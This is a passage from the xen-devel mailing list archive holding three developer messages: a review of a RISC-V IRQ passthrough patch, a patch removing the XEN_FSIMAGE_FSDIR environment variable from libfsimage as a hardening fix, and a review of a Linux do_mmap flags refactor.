 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 16:32:34 +0200
Received: by mail-wr1-f50.google.com with SMTP id
 ffacd0b85a97d-47231f1f8f3so2172020f8f.1
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 07:32:34 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477db3dbb01sm9540012f8f.1.2026.07.02.07.32.33
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 07:32:33 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783002754; x=1783607554; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ouAIXKABUS86tGqzusDeAOuz+zhrRm4/w2+8FueUbIw=;
        b=W7ERDM/rc4qEM24HtyAufxDDtvndKMXU3OvNT8ZkCfv02i8bxc90pCc6GG23Ej4oRM
         n3YPgcNndtugus9l6Aa8Ig1wskh6whOhap42zHWRn4ppMwF/0F54i0vOG2FHNqdJ1+0C
         aGXrfDPl01Bk1FpfOimrDdOAS4y6y9rOPc7nAv0SSUVhtrrlRt0cM84zlD0mDzPgfUCj
         6zcDDG/Ai3GzsiA+Ev6JYD+8NYabVPeQrzJFnLcfGlPUT4PRi5G/i68eV7CzdZ8UQ9W6
         a/D2YPjx25kScml3P2vXCKl7IGKzSpUCXz5vuVPrL8PN0deRDnG5TW2m12DpRnovyVFD
         +4Lw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783002754; x=1783607554;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ouAIXKABUS86tGqzusDeAOuz+zhrRm4/w2+8FueUbIw=;
        b=VcjtbfFzQSakhpWhOdKOAxuRnZ8y1+9Yp4j88NvadfuQ69Q4zDcb4fVdtUFvylX4yy
         pRtAYen5rfG8hAa1ctcMoIdhRTQVqI+ttU2XyxagCOsJ2uz2uETMAA1eqETcIxvLdoBa
         czldpwphWwQAF4pX1QwFRSrkG0ICI9FuseVXoUjKynUtT7Hnp/pvKmz1ny2uB1Oel6P8
         OlmjmvkE2TIf+kbbADFRQHZcDs8OFWhpjxPeAr2jVlTJoxp8glNT0jAtRh86n6VMW/+H
         aCqgFN2E3ZUBM0PFMDlpmv345YVPLlDL4HhoHdo/nZAnGvtkiWW4+RlhLQ8KT0v1tlzS
         EyHA==
X-Forwarded-Encrypted: i=1; AHgh+Rr0BUJw/ThFFHerLOIeobF8XZuPzUJPU5QVzKtwZzKF/m2YjffIH5PIDjekDVWa8s084nLlttb1qDo=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzsglNKmpHdpFAeBEc1nkQnGmoSnzTra16ZcXeT+TrYVO83cxlg
	IJo3wO6zAyc6B5o4JpvRSPEkBfqCk+2LKGUajwKy9j7bA03ItvfgdU9nEB0e5tJqVA==
X-Gm-Gg: AfdE7cmT1kwmnlwnAVN2WAH+NViAsLQnA4r98veWuKWxvH0W7/4h/qsJ6kYapkjPZ3l
	CWWzD5if4VqmTwE8WJVh5l8vr67GRGA551E29/y7/Bo//G70/F1HtSjns5+phjTfSVeNgeTq0pV
	Kjsm0qx06sw6OciG3W8hY+BJJVgE3o12G1FbsHcm8x60VkIbdKC1RmcFgUDNpZZXrmtp6iJ0nIR
	QhocFNIkOPGOm2ZSB70haMc5BJh1nypM5iUB3XYT7Ku71p8kdWJDhER2u2fWIU8Pnoo9bBEv99i
	Dbv9/vLpyyx5AQYirnWwmbx4IAgWEM6kn3HPsVY98+btdw6KrRSRrja7ATjx4rhvYLoQ8Avk51l
	lwDbACxrKHnTtbsNQsA47bXMAladO0TU2AIuth/dIhqPzQb7SeuZvnEuPWWjqjmLEr8GJKpAmc4
	ryeL/nziD3Jxz64Sf9S7Z/dRzGlvEfECaPrZnnCihJVgStxvhAjE5LYXJwNABOIGkFma5Ne6r05
	6fO
X-Received: by 2002:a05:6000:402a:b0:441:1e41:194 with SMTP id ffacd0b85a97d-477b3983918mr8722264f8f.17.1783002753853;
        Thu, 02 Jul 2026 07:32:33 -0700 (PDT)
Message-ID: <e7d430c1-fe57-4b28-a5a2-1c8bfcd54ac4@suse.com>
Date: Thu, 2 Jul 2026 16:32:32 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 21/25] xen/riscv: implement IRQ routing for device
 passthrough
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <472a77604d35a0bc2a75b71f250fd67b63afde4c.1782487661.git.oleksii.kurochko@gmail.com>
 <ac1a3a08-dc39-4794-ba96-dab4b88c27a3@suse.com>
 <6aafbeb5-2f33-49f4-9d14-937b0bc4d15d@gmail.com>
 <40bcf6b7-306a-419a-bf12-1855f9e589fe@suse.com>
 <91ffc1b2-7648-4185-a2f1-12b30181c8a9@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1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ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <91ffc1b2-7648-4185-a2f1-12b30181c8a9@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1783002754-830C41E0-5B701841/0/0
X-purgate-type: clean
X-purgate-size: 1772

On 02.07.2026 11:33, Oleksii Kurochko wrote:
> 
> 
> On 7/2/26 8:38 AM, Jan Beulich wrote:
> 
>>>>> +    spin_unlock_irqrestore(&desc->lock, flags);
>>>>> +
>>>>> +    release_irq(desc->irq, info);
>>>>> +    xvfree(info);
>>>>
>>>> If, in release_irq(), action isn't freed, it's ->dev_id field will now have
>>>> a dangling pointer. (I think I did point this out before.)
>>>
>>> It should freed in release_irq() as route_irq_to_guest() always set
>>> action->free_on_release = true;
>>
>> Well, "free_on_release" must exits for a purpose. I.e. there must be, now
>> or soon, cases where it's set to false. Else simply drop the field.
> 
> I can't simply remove this field because it is part of the common 
> `struct irqaction` and is used by other arc-s. (I assume that it is not 
> what you fully meant...)
> 
> IIUC, this field is used to determine whether an irqaction is 
> heap-allocated (and therefore should be freed) or statically allocated 
> (and therefore should not be freed).

Yes. However, all uses of the field are in arch-specific code. So in
principle it could be #ifdef-ed out for RISC-V. There may be a better
option, though:

> At the moment, all IRQ actions are heap-allocated (on RISC-V), so 
> free_on_release should always be set to true. In particular, the code 
> snippet you asked about releases a guest interrupt, and guest interrupt 
> actions are always heap-allocated. As a result, when release_guest_irq() 
> calls release_irq(), the associated irqaction will be freed.
> 
> So, from what I can see, the current behavior is correct and I think it 
> should be left as it is. Do you have any concerns about this?

If you only ever have the field set to true, use ASSERT() in place of
if().

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 15:03:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 15:03:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352012.1608968 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfIwa-0005Yl-Vx; Thu, 02 Jul 2026 15:03:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352012.1608968; Thu, 02 Jul 2026 15:03:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfIwa-0005Ye-T9; Thu, 02 Jul 2026 15:03:12 +0000
Received: by outflank-mailman (input) for mailman id 1352012;
 Thu, 02 Jul 2026 15:03:11 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wfIwZ-0005YR-3D
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 15:03:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfIwX-007ziY-RR
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 17:03:09 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a467d9b-bab6-0a2a0a5309dd-0a2a4503e5ce-46
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:03:09 +0200
Received: from [209.85.208.47] (helo=mail-ed1-f47.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a467da8-ec1a-0a2a45030019-d155d02fa899-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:03:04 +0200
Received: by mail-ed1-f47.google.com with SMTP id
 4fb4d7f45d1cf-6983d3dae7aso1171353a12.0
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 08:03:04 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477db8a4b83sm11052511f8f.12.2026.07.02.08.03.02
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 02 Jul 2026 08:03:03 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:MIME-Version:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1783004584; x=1783609384; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to;
        bh=DjmOe84IrhGJfQjiy2t/gDqUrLCLWBZLNspBTB4loJM=;
        b=JP5i7hTN5B82dxM7VAn+1fc0tYAt2zceSPUA9OL1YZy+G6v8zjGD5wYPvbGVUAVmIc
         7wr1vBNf+MkN92xxVILVb5hDvJrZo3EM+gnp5LlOVuBiGnqdzPMA7Ekq+Yu9W+2vJeni
         d2nlGh/JmQQbhMiaQxnO9yaH0bOtK586Rh5/s=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783004584; x=1783609384;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=DjmOe84IrhGJfQjiy2t/gDqUrLCLWBZLNspBTB4loJM=;
        b=p/ZEzCOHKU0wFPoXQAEMuUudOnPc6ie4tluiu7AMHUlx8Kq4iCFJ36O0V14d5pSo6d
         Qh8Ytnw6+ZPckrhcDQmDFI5XatCs8dv7dE/4zTqkNj8X0oaLRbZVnC1dgtyZVBSjK3y3
         DnVSeFdTFWaOsdBvXjDdBhNVvStSIq9ffwCcgEhryvSCpkeGGmgePRfu0AN2Pp/m7riI
         Zd92ZcgFWUPaUrxh3HSGr0snbWQpERuNP9K1jgGDuJqZR6gfX7ahqTksCECMa1sPGv/q
         BRCvIPBvqdhMUXk6BXS4t/nffvgubDfSMGgvyscQlMb2D/7f2Xp7eWoKLwqiq/tusSEm
         mJsg==
X-Gm-Message-State: AOJu0YyakJ3Zno1jDu52uMatiAeE581v00fAV1xo9X4/3xm5popGbsjR
	zWAf7FlUXhrb9JUidMwyjIH+oIreKgxnm3qpa2B9J1Wm7EFn6eZeAWZJCt32auEsnuIsmMXix/6
	i4fpFDiM=
X-Gm-Gg: AfdE7cliNE1ICdaAVXM1vx2/75Wrufg6+0aMzqbzz14tnOqi0lSf/qUNKTAHoANnzda
	rqdT5p5NdC9+DBvFo3F2mjewOG9MEMr/iq5FGDGVDRN/uJ05Kaypv1VayoHzPC0Ktl2+Stho2fD
	vypCuauuStZtk6cg04SQKrlyIYtSi8LAcq/QElp3wBCV4bPcs8QZjXCq26DZ+Ftoe1GAL2pgeGJ
	SnHMiRVsvHhbGWNY/ApAYrHMKnc4Jol8YvDxWnIZGDgD6einpRG1243fG9P7WtIvO7CkVuf91Jg
	K1IK4TKCoYiMSPLblPjgUNm6zhwkl+Z+O8eFZOGvgCpALPtU2xpsaGJ9nGCiyPOaofs8ZiLUWcb
	X8JFsEgzMgH4C7a1q1B9LV+3Zg8DrFfwIxWlPtewOACwBYt0I6wRvgxbs6w84Ft+jXBXoShoypk
	p9mWCfVEGFR1aF8LSsVIdzSC/KfhDKjq0BNkOw/FXTf1XyWPluK9XF7WxaGYhkhGQ=
X-Received: by 2002:a17:907:d303:b0:c12:a7c5:e638 with SMTP id a640c23a62f3a-c12c9d3c84cmr14402666b.7.1783004583966;
        Thu, 02 Jul 2026 08:03:03 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: [PATCH for-4.22] tools/libfsimage: Remove the XEN_FSIMAGE_FSDIR environment variable
Date: Thu,  2 Jul 2026 16:03:01 +0100
Message-Id: <20260702150301.825883-1-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1783004589-B57BF5D1-AA55E787/10/73395122804
X-purgate-type: spam
X-purgate-size: 2307

This was reported to the security team, demonstrating that code execution
could be achieved, but without a demonstration of a priviliege boundary being
bypassed.

Still, it's a high risk path with no obvious evidence of having been used even
for debugging, so remove the environment variable and use the build time
$(libdir)/xenfsimage path only.

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Anthony PERARD <anthony.perard@vates.tech>
CC: Michal Orzel <michal.orzel@amd.com>
CC: Jan Beulich <jbeulich@suse.com>
CC: Julien Grall <julien@xen.org>
CC: Roger Pau MonnÃ© <roger.pau@citrix.com>
CC: Stefano Stabellini <sstabellini@kernel.org>
CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>

For 4.22.  This was supposed to be posted earlier but fell through the cracks.
Given it's borderline-security aspect, we don't want to delay it any further.
---
 CHANGELOG.md                             | 1 +
 tools/libfsimage/common/fsimage_plugin.c | 5 +----
 2 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/CHANGELOG.md b/CHANGELOG.md
index ef4e6ae9c459..0a4e5f013cb1 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -63,6 +63,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
 
  - Removed xenpm tool on non-x86 platforms as it doesn't actually provide
    anything useful outside of x86.
+ - Removed the XEN_FSIMAGE_FSDIR environment variable.
 
 ## [4.21.0](https://xenbits.xenproject.org/gitweb/?p=xen.git;a=shortlog;h=RELEASE-4.21.0) - 2025-11-19
 
diff --git a/tools/libfsimage/common/fsimage_plugin.c b/tools/libfsimage/common/fsimage_plugin.c
index d0cb9e96a654..539dc247356a 100644
--- a/tools/libfsimage/common/fsimage_plugin.c
+++ b/tools/libfsimage/common/fsimage_plugin.c
@@ -121,7 +121,7 @@ static int init_plugin(const char *lib)
 
 int fsi_init(void)
 {
-	const char *fsdir = getenv("XEN_FSIMAGE_FSDIR");
+	const char *fsdir = FSIMAGE_FSDIR;
 	struct dirent *dp = NULL;
 	DIR *dir = NULL;
 	char *tmp = NULL;
@@ -129,9 +129,6 @@ int fsi_init(void)
 	int err;
 	int ret = -1;
 
-	if (fsdir == NULL)
-		fsdir = FSIMAGE_FSDIR;
-
 	if ((name_max = pathconf(fsdir, _PC_NAME_MAX)) == -1)
 		goto fail;
 

base-commit: ad9f564a5d840389cbf1b230086e1dd8257d8820
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 15:09:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 15:09:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352026.1608979 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJ2J-0006TJ-IR; Thu, 02 Jul 2026 15:09:07 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352026.1608979; Thu, 02 Jul 2026 15:09:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJ2J-0006TC-EO; Thu, 02 Jul 2026 15:09:07 +0000
Received: by outflank-mailman (input) for mailman id 1352026;
 Thu, 02 Jul 2026 15:09:06 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lance.yang@linux.dev>) id 1wfJ2H-0006T6-6i
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 15:09:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfJ2G-008SiF-Js
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 17:09:04 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a467f01-e002-0a2a0a5209dd-0a2a4505b22c-28
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:09:04 +0200
Received: from [95.215.58.179] (helo=out-179.mta1.migadu.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a467f0f-3cb2-0a2a45050019-5fd73ab3f860-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:09:03 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=key1 header.d=linux.dev header.i="@linux.dev" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
Message-ID: <cf5a92d3-2c7e-41e6-afed-f2a4c9d1a774@linux.dev>
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux.dev; s=key1;
	t=1783004941;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=GVgi/IDW6MB0ICHH5yTujujreeH5t5fHN661xjkq/74=;
	b=Dkh9RWL9rMIQE6Ur1L+lFP9fWBIPUF1EBlETBXiV1FwoU/+0F4n7u3+DtwQotZKTkFazHu
	oHVZr/Vs+FAfYKVbUxY57cWOfPctKhbPm5r74IEfkBs57Xoqgu/OIspBSvCnXq9uEYouaN
	h+ygMrTbcJpYGV90L9aTDp+5SWenOgM=
Date: Thu, 2 Jul 2026 23:08:32 +0800
MIME-Version: 1.0
Subject: Re: [PATCH 02/13] mm/vma: update do_mmap() to use vma_flags_t
To: Lorenzo Stoakes <ljs@kernel.org>
Cc: akpm@linux-foundation.org, tsbogend@alpha.franken.de,
 maddy@linux.ibm.com, mpe@ellerman.id.au, maarten.lankhorst@linux.intel.com,
 mripard@kernel.org, tzimmermann@suse.de, airlied@gmail.com, simona@ffwll.ch,
 l.stach@pengutronix.de, inki.dae@samsung.com, sw0312.kim@samsung.com,
 kyungmin.park@samsung.com, krzk@kernel.org, peter.griffin@linaro.org,
 jani.nikula@linux.intel.com, joonas.lahtinen@linux.intel.com,
 rodrigo.vivi@intel.com, tursulin@ursulin.net, robin.clark@oss.qualcomm.com,
 lumag@kernel.org, lyude@redhat.com, dakr@kernel.org,
 tomi.valkeinen@ideasonboard.com, hjc@rock-chips.com, heiko@sntech.de,
 andy.yan@rock-chips.com, thierry.reding@kernel.org, mperttunen@nvidia.com,
 jonathanh@nvidia.com, kraxel@redhat.com, dmitry.osipenko@collabora.com,
 zack.rusin@broadcom.com, matthew.brost@intel.com,
 thomas.hellstrom@linux.intel.com, oleksandr_andrushchenko@epam.com,
 deller@gmx.de, bcrl@kvack.org, viro@zeniv.linux.org.uk, brauner@kernel.org,
 muchun.song@linux.dev, osalvador@suse.de, david@kernel.org, ziy@nvidia.com,
 baolin.wang@linux.alibaba.com, liam@infradead.org, npache@redhat.com,
 ryan.roberts@arm.com, dev.jain@arm.com, baohua@kernel.org, hughd@google.com,
 vbabka@kernel.org, rppt@kernel.org, surenb@google.com, mhocko@suse.com,
 jannh@google.com, pfalcato@suse.de, kees@kernel.org, perex@perex.cz,
 tiwai@suse.com, linux-mips@vger.kernel.org, linux-kernel@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org,
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org,
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org,
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev,
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org,
 linux-fbdev@vger.kernel.org, linux-aio@kvack.org,
 linux-fsdevel@vger.kernel.org, linux-mm@kvack.org,
 linux-sound@vger.kernel.org
References: <e0ac58ad2b88ff7e2f0024e3286b2e786f79ca32.1782760670.git.ljs@kernel.org>
 <20260702111531.64883-1-lance.yang@linux.dev> <akZwsS-_cywsXSjL@lucifer>
Content-Language: en-US
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
From: Lance Yang <lance.yang@linux.dev>
In-Reply-To: <akZwsS-_cywsXSjL@lucifer>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-c201ff/1783004944-0ED162B8-6F8D3693/0/0
X-purgate-type: clean
X-purgate-size: 2292



On 2026/7/2 22:16, Lorenzo Stoakes wrote:
> On Thu, Jul 02, 2026 at 07:15:31PM +0800, Lance Yang wrote:
[...]
>>
>> [...]
>>> diff --git a/mm/mmap.c b/mm/mmap.c
>>> index 46174e706bbe..547352183214 100644
>>> --- a/mm/mmap.c
>>> +++ b/mm/mmap.c
>> [...]
>>> @@ -488,23 +496,27 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
>>> 		 * Check to see if we are violating any seals and update VMA
>>> 		 * flags if necessary to avoid future seal violations.
>>> 		 */
>>> -		err = memfd_check_seals_mmap(file, &vm_flags);
>>> +		err = memfd_check_seals_mmap(file, &vma_flags);
>>> 		if (err)
>>> 			return (unsigned long)err;
>>> 	} else {
>>> 		switch (flags & MAP_TYPE) {
>>> 		case MAP_SHARED:
>>> -			if (vm_flags & (VM_GROWSDOWN|VM_GROWSUP))
>>> +			if (vma_flags_can_grow(&vma_flags))
>>> 				return -EINVAL;
>>> 			/*
>>> 			 * Ignore pgoff.
>>> 			 */
>>> 			pgoff = 0;
>>> -			vm_flags |= VM_SHARED | VM_MAYSHARE;
>>> +			vma_flags_set(&vma_flags, VMA_SHARED_BIT, VMA_MAYSHARE_BIT);
>>> 			break;
>>> -		case MAP_DROPPABLE:
>>> -			if (VM_DROPPABLE == VM_NONE)
>>> +		case MAP_DROPPABLE: {
>>> +			vma_flags_t droppable = VMA_DROPPABLE;
>>> +
>>> +			if (vma_flags_empty(&droppable))
>>> 				return -EOPNOTSUPP;
>>> +			vma_flags_set_mask(&vma_flags, droppable);
>>> +
>>> 			/*
>>> 			 * A locked or stack area makes no sense to be droppable.
>>> 			 *
>>> @@ -515,23 +527,24 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
>>> 			 */
>>> 			if (flags & (MAP_LOCKED | MAP_HUGETLB))
>>> 			        return -EINVAL;
>>> -			if (vm_flags & (VM_GROWSDOWN | VM_GROWSUP))
>>> +			if (vma_flags_can_grow(&vma_flags))
>>> 			        return -EINVAL;
>>>
>>> -			vm_flags |= VM_DROPPABLE;
>>
>> Old code checked VM_GROWSDOWN|VM_GROWSUP before seting VM_DROPPABLE. New
>> code flips that around. Hmm, shouldn't master, just made me look twice ;)
>>
>> Maybe keep old order?
> 
> I guess I feared that defining droppable above then referencing it below would
> be less clear?
> 
> Can move if you feel strongly about it, and sorry for making the move at the
> same time as the general vm_flags_t -> vma_flags_t refactor as it does make that
> less clear...

No need to churn just for me. Thanks :)


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 15:25:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 15:25:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352053.1608987 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJHl-0001GI-R7; Thu, 02 Jul 2026 15:25:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352053.1608987; Thu, 02 Jul 2026 15:25:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJHl-0001GB-NM; Thu, 02 Jul 2026 15:25:05 +0000
